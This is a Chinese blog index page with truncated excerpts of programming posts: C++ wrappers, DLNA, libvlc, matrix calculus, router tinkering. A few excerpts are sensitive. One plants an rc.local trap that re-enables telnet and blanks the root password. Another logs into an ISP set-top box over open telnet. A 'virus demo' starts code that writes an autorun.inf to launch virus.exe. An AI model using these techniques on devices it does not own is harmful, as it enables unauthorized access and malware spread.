- 博客(37)
- 资源 (29)
- 收藏
- 关注
转载 欢迎使用优快云-markdown编辑器
欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦:Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传LaTex数学公式UML序列图和流程图离线写博客导入导出Markdown文件丰富的快捷键快捷键加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl
2017-12-05 01:03:29
391
原创 矩阵微分
题记之前推导深度网络中的代价函数的梯度,推得半死,矩阵微分忘了很多,复习一下。定义对于一个函数 f:Rm×n→Rf:\mathbb{R}^{m \times n} \xrightarrow{} \mathbb{R},从m×nm \times n的矩阵映射到一个实数,那么ff关于AA的微分可以定义为: ∇Af(A)=⎡⎣⎢⎢⎢⎢⎢⎢⎢∂f∂A11⋮∂f∂Am1⋯⋱⋯∂f∂A13⋮∂f∂Amn⎤⎦⎥⎥
2015-06-01 21:39:34
1131
原创 播放路由宝储存卡中的dat文件的方法
http://blog.youkuaiyun.com/yu_yuan_1314/article/details/9358849 有关FLV文件格式的科普,有兴趣可以看一下,没兴趣跳过。那些是加料的FLV文件,用WinHex找到46 4C 56开头,将后面保存成flv文件就可以用播放器播放了。 不过不用那么复杂,因为那个头部固定1048904字节,为用这个命令搞定,举个栗子: dd if=/tmp/youku
2015-05-12 15:54:32
3273
原创 在路由宝实现实时监控并上传百度云
准备工作: 1、刷潘多拉系统; 2、安装python、python-requests; 3、插入USB摄像头并安装摄像头驱动和motion; 4、下载bypy,并把bypy.py放到/usr/bin/中。先看效果,可以保存相片和视频,相片有地理位置信息。 编写on_picture_save.sh#!/bin/bashSHELL=/bin/bashUSER=rootPATH=/u
2015-05-07 21:36:24
5868
原创 路由宝421之后版本开启telnet
路由宝421之后的版本默认关掉telnet和dropbear,所以要在升级之前设下陷阱。cp /usr/sbin/telnetd /etc/config/在rc.local中加入 [ -x /usr/sbin/dropbear ] || passwd -d root [ -x /usr/sbin/dropbear ] || chmod +x /etc/config/telnetd [ -x /
2015-05-05 16:21:26
6276
原创 广东有线U宽频的一些东西
U宽频的机顶盒,居然开放了23端口,telnet了一下居然进去了。 看到是ralink的芯片# cat /proc/cpuinfosystem type : Ralink SoCprocessor : 0cpu model : MIPS 24K V4.12BogoMIPS : 21
2015-04-28 18:33:30
1783
原创 Indicator for Network Status
#!/usr/bin/python# -*- coding: utf-8 -*-"""Created on Tue Nov 11 21:26:17 2014@author: terry"""import pygtkpygtk.require('2.0')import sysimport osimport shutilimport jsonimport timefrom
2014-11-13 11:28:32
719
原创 机器学习问题分类
机器学习(Machine Learning)问题一般是通过一堆样本(Sample)数据去预测未知的数据。如果这些数据不是一维的,像一些多维的节点(entry),就把它们称为特征(features)。机器学习问题可以分为两大类:监督学习(supervised learning),训练数据中包含了我们需要预测的属性。这种问题可以分为:分类(classification):样本属
2014-10-23 10:25:03
3173
原创 i9000刷ubuntu touch
先下载两个包:cyanogenmod.zip: http://ubuntuone.com/0aGhALmE950fNzSn5Tp8vgquantal-preinstalled-phablet-armhf.zip http://cdimage.ubuntu.com/ubuntu-touch-preview/quantal/mwc-demo/quantal-preinstalled-p
2013-04-19 22:11:35
2498
原创 vector包装器
C++模板类是多态的一种表达形式,如vector一类的模板是编译时多态,通过一个简单的包装就可以实现运行时多态,已达到工程上的形式统一,体现了一种coding的美。对于标准模板库只能用聚合,不能用继承,因为标准模板库的类模板的虚构函数一般都不是虚拟函数,如果继承的话会导致虚构子类时的不确定行为。#ifndef _VECTOR_H_#define _VECTOR_H_#include
2012-05-16 14:49:51
701
原创 套接字包装器
对于网络的调用的包装一直都是做为一个工程的支撑,使用ACE固然是不错的选择,但是对于一个小工程来说未免有些喧宾夺主的味道。ACE中使用面向对象的技术去避免很多接口的误用,却造成了整个工程的规模变得很庞大难用。下面给出一个简单的实现。SocketImp.h#ifndef _SOCKETIMP_H_#define _SOCKETIMP_H_#include typedef in
2011-11-16 15:42:44
696
原创 日期包装器
下面是linux日期包装器,没有用到localtime_r,其实应该也没有什么关系。Data.h#ifndef _DATE_H_#define _DATE_H_#include class Date{protected: time_t sysTime; int year; int month; int day; int hour; int min; int sec
2011-11-16 10:42:00
615
原创 日志包装器
虽然现在有许多成熟的日志工具可供选用,但是自己编写一个日志类可以让你用得更加得心应手。对于抛出异常的处理,C++语言本身并没有做什么东西,可怜的STL也只有一个很简单的异常类,所以下面先给出一个最简单的Exception类。Exception.h#ifndef _EXCEPTION_H_#define _EXCEPTION_H_#include class Exception
2011-11-16 10:13:33
568
原创 Mutex包装器
上一篇博客讲了,Linux线程的包装器,既然用了了线程不可避免的要用到互斥量,所以下面给出了互斥量的包装器,也是在某一开源项目中看的,我略加删改,以突出重点。Mutex.h#ifndef _MUTEX_H_#define _MUTEX_H_#include class Mutex{ pthread_mutex_t mutexID;public: Mutex()
2011-11-16 10:01:44
556
原创 线程包装器
Linux中POSIX线程的接口都是C风格的,在C++中必须做一个wrapper类去套住它们。刚好在一个开源的项目中看到一个简单有效的代码,特贴出来,雅俗共赏。Thread.h#ifndef _THREAD_H_#define _THREAD_H_#include class Thread{ pthread_t thread; bool runnableFlag;p
2011-11-16 00:03:36
838
翻译 DvdPlayer一些信息
DvdPlayer is the main execution program the RTD1073 runs to enable everything from display, infra-red control, enable service, install appli
2011-08-18 00:40:41
1736
原创 cygwin编译下wine
在Windows下用wine运行Windows程序,突然萌生了这个蛋疼的想法,就去http://www.winehq.org/下载了一个最新版的wine的源码。解压,执行./configure发现少了flex和bison两个库,应该是正则表达式的。用cygwin的setup.exe安装了这两个库。因为wine需要free的truetype字体,没用的话加--without-free,一次./configure成功。接下来的make & make install是一个漫长的等待过程,两三个钟头吧。我的cygw
2011-05-29 23:41:00
1852
3
原创 【DLNA】三星电视同WMP交互情景分析
<br />一、browser过程<br />三星:<br /><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1"><ObjectID>0</ObjectID><B
2011-05-17 11:05:00
2535
原创 Windows Media Player支持的协议
<br />http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS,http-get:*:video/x-ms-wmv:DLNA.ORG_PN=WMVSPML_MP3,http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS_192,http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS_320,http-get:*:audio/mp4:DLNA.OR
2011-05-13 10:37:00
2911
原创 Windows Media Player的UPnP设备描述和服务描述
<br />设备描述:<br /><?xml version="1.0"?><root xmlns="urn:schemas-upnp-org:device-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> <UDN>uuid:6c7e820e-c536-44b3-8efc-4a0fcf555e18</UDN> <friendlyName>鍛ㄨ吘鐨勭瑪璁版湰: 鍛
2011-05-13 10:20:00
4771
2
原创 NOKIA E5-00的UPnP设备描述和服务描述
<br />E5-00设备描述:<br /><?xml version="1.0" encoding="UTF-8"?><root xmlns="urn:schemas-upnp-org:device-1-0" xmlns:dlna="urn:schemas-dlna-org:device-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion><device> <d
2011-05-13 10:14:00
2031
原创 基于HTTP的流媒体协议
HTTP Live Streaming目前还是Internet的草案,由于HTTP协议本身的极限,比如说要指定content-length等,之前一直以为是不能作为流媒体协议来使用的。看了一下那个草案,确实也是一个折衷,就是把媒体流分成一个一个文件,然后再用另外一个文件(后缀名m3u,是不是很熟悉呢?千千静听那个打开的文件对话框有这个)来指定客户端要先下载哪一个文件,再下载哪一个文件。#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:10#E
2011-05-03 23:22:00
10727
原创 libdvbpsi的例子解析(二)
<br />上一回讲解的是examples/decode_pat.c,这一回讲解examples/decode_pmt.c。<br />ReadPacket上回已经讲过了。接下来看main<br />int main(int i_argc, char* pa_argv[]){ int i_fd; uint8_t data[188]; dvbpsi_handle h_dvbpsi; int b_ok; uint16_t i_program_number, i_pmt_pid;
2011-05-01 17:27:00
3926
原创 ushare 代码详解(二)
<br />先看一下ushare.c中libupnp的初始化过程,如果你对libupnp的那两个例子程序很熟的话,看这个应该没有什么问题,过程差不多。UpnpInit,UpnpSetMaxContentLength加这个东西的原因是ushare里面有很多东西是直接放在内存中,而不是磁盘文件中,只是怕内存溢出,UpnpEnableWebserver,UpnpSetVirtualDirCallbacks,UpnpAddVirtualDir这三个函数是一起的,一般来说搞个UpnpSetWebServerRootD
2011-04-25 18:10:00
4110
原创 MFC消息映射的一些理解
<br />有些人觉得MFC很神奇,却没有被它那稀奇古怪的typedef吓跑。本来要做这样一种自动生成代码的框架有另外一种实现,就是用可读性更强的虚拟函数来实现动态绑定,对于MFC这样一种机制,我觉得可能有两种原因,使得它呈现出这样古怪的风格。第一,可能当时C++还没有那么完善;第二,可能考虑到效率的和空间的问题。<br /> <br />MFC消息映射宏的机制并不难理解,用一句话来概括,就是在你已经实现的一些类里面去插入一些函数和变量。<br /> <br />看如下代码,估计写过MFC程序的同学都很熟悉
2011-03-19 14:57:00
869
原创 libdvbpsi的例子解析(一)
<br />libdvbpsi是VLC中用于解复用的一个库,可以在VLC的主页中下载,笔者用的是0.1.7版本。<br /> <br />static int ReadPacket(int i_fd, uint8_t* p_dst){ int i = 187; int i_rc = 1; p_dst[0] = 0; while((p_dst[0] != 0x47) && (i_rc > 0)) { i_rc = read(i_fd, p_dst, 1); }
2011-03-01 21:35:00
4209
1
翻译 第9章 串流DVB频道(翻译中)
第9章 串流DVB频道 (卫星或者地面数字电视)内容概览安装DVB驱动程序使用VLS串流使用VLC串流注意本文只针对GNU/Linux.安装DVB驱动程序Install the DVB drivers要从DVB卡串流的话,必须先安装驱动程序(译者注:这不是废话吗?)如果是Linux 2.6.x 内核的
2011-02-28 22:33:00
2515
原创 libvlc简单例子(1.1.0以后版本)
<br />看了一下网上面的例子都是Jeremiah写的0.9.9a的一个MFC对话框的例子,详见http://jeremiah.blog.51cto.com/539865/d-1。现在1.1.7很多函数的接口都不一样了。<br /> <br />官网上给的是linux的例子,http://wiki.videolan.org/LibVLC_Tutorial。很多同学不懂得随机应变,给了linux的例子就不懂得怎么在VS2008下面编译。<br /> <br />1. 安装VLC播放器,在播放器的路径下面拷贝
2011-02-26 19:01:00
3605
原创 ushare 代码详解(一)
<br />static voidmetadata_add_container (struct ushare_t *ut, struct upnp_entry_t *entry, const char *container){ struct dirent **namelist; int n,i; if (!entry || !container) return; n = scandir (container, &na
2011-01-17 16:24:00
1359
原创 C++中使用全局变量方法
/***************************************************//* Zhou Teng all rights Reserve *//* test.cc 2009-12-30 *//*******************
2010-01-28 16:29:00
4651
原创 病毒Demo
#include #include // 设置连接器选项,告诉linker的入口,不要出现控制台#pragma comment( linker, "/subsystem:/"windows/" /entry:/"mainCRTStartup/"" )#define AUTORUN_INF "[autorun]/r/nopen=virus.exe/r/n"int ma
2009-07-09 13:58:00
986
1
原创 5个数6次比较找中位数,7次比较排序
5个数6次比较找中位数int compare6(int a,int b,int c,int d,int e){ if(a<b)swap(a,b); if(c<d)swap(c,d); if(a<c){swap(a,c);swap(b,d);} if(b<e)swap(b,e); if(b<c){swap(b,c);swap(d,e);}
2009-07-05 21:48:00
5488
原创 飞鸽源码分析之一——MsgMng::WSockInit
BOOL MsgMng::WSockInit(BOOL recv_flg){ WSADATA wsaData; if (::WSAStartup(0x0101, &wsaData) != 0) return GetSockErrorMsg("WSAStart()"), FALSE; if ((udp_sd = ::socket(AF_INET, SOCK_DGRAM,
2009-06-25 10:37:00
1921
1
原创 黑白棋
Java实现,没什么好说。Chess.javaimport java.awt.Color;import java.awt.Frame;import java.awt.Label;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;/** * *//** *
2009-06-19 11:50:00
1891
原创 素数模板
模板的参数N、M分别是筛选的区间和该区间的素数个数。Enjoy it! template class Prime{ private: bool isprime[N]; unsigned int nthprime[M]; public: unsigned int operator[](int n){return nthprime[n];}
2009-04-10 12:42:00
641
原创 非计算机专业软件设计师备考经验
非计算机专业软件设计师备考经验 我这里所说的非计算机专业不是指像什么历史,汉语言这些专业,是和计算机相近的专业,像数学,物理这里,当然我也没说历史,汉语言这些不能考软件设计师。 说说软件设计师是什么样的考试。职称这个词大家应该很熟悉吧,像教师就有中级教师,高级教师和特级教师什么的,这些大家上了这么多年书应该是听说过的,这些中级,高级就是职称。不同的是,教师的
2009-04-09 22:19:00
2017
1
背单词0.0.003版
2009-04-23
一个基于UDP数据广播的局域网络会议程序开发文档
2008-05-30
VC7工程转VC6
2008-05-17
飞鸽传书源代码
2008-05-16
PTypes介绍
2008-05-01
Addison Wesley - C++ Network Programming Vol 2
2008-05-01
Addison Wesley - C++ Network Programming Vol 1
2008-05-01
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人